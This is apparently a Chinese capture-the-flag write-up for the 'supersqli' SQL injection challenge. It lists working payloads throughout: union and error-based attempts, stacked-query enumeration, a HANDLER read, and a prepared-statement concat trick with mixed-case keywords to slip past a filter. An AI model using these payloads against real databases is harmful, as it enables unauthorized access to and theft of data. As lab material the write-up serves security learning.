目录
审题
打开连接
emmm,好眼熟的题目,这不是跟攻防世界的一道题一模一样吗
无奈再做一次吧
字段判定
字段数
输入数字查询,直到3的时候无回显,字段数应该为2
用order by来测试也是,没有第三个字段,所以字段为2
字段回显
知道字段数,直接联合注入,查看回显,构建payload
inurl?inject=-1' union select 1,2 --+
发现好多关键字被过滤掉了,所以不能走select这条路子了,我们还有报错注入,堆叠注入
爆表
报错盲注
考虑到select被过滤,现在也就只有两种报错盲注能用
第一种,构建payload
inurl?inject=1' or updatexml(1,concat(0x7e,(database())),0) or#
emmm,又被过滤掉了,那接着试试第二种,构建payload
inurl?inject=1' or extractvalue(1,concat(0x7e,(database())),0) or#
emmm,又被过滤掉了,那只有堆叠能用了
堆叠注入
顾名思义,利用分号(;)一下子能执行多条语句,先看看数据库有啥,构建payload
inurl?inject=-1'; show databases;#
爆了好多数据库,排除几个常见的数据库,接着一个个看一下表,构建payload
inurl?inject=-1';use ctftraining;show tables;#
第一个表好可疑,看一下有什么字段
inurl?inject=-1';use ctftraining;show columns from FLAG_TABLE;#
只有一个字段,第一个string是指字段名,第五个string是备注的内容,已经提示了,没有flag
那就回去看一下supersqli这个表吧
看一下第一个纯数字的表,注意纯数字的表名得用`包裹,构建payload
inurl?inject=-1';use supersqli;show columns from `1919810931114514`;#
好了,知道flag在哪了,接着就是怎么查询到这个的问题了
字段查询
handler查询法
让我们在本地环境试试看怎么用
噢噢,懂了,这就构建payload
inurl?inject=-1';use supersqli;handler `1919810931114514` open as p;handler p read first;#
拿到flag
预编译绕过法
先说说预编译吧,简单来说,预编译就是先set(定义)一个变量@a,然后prepare(准备)一个b从@a那获得,然后execute(执行) b,也就是变相地执行了@a的语句
当然我们还可以利用concat函数来联合@a里的内容,来绕过过滤
利用预编译绕过select 就能直接拿到flag了,构建payload
inurl?inject=-1';set @sql = concat('sele','ct flag from `1919810931114514`;');prepare stmt from @sql;execute stmt;#
可以看到set跟prepare被strstr函数给检测出来了,但是strstr函数不区分大小写,所以我们可以用大小写法绕过,把set改成SeT,prepare改成PrePare
拿到flag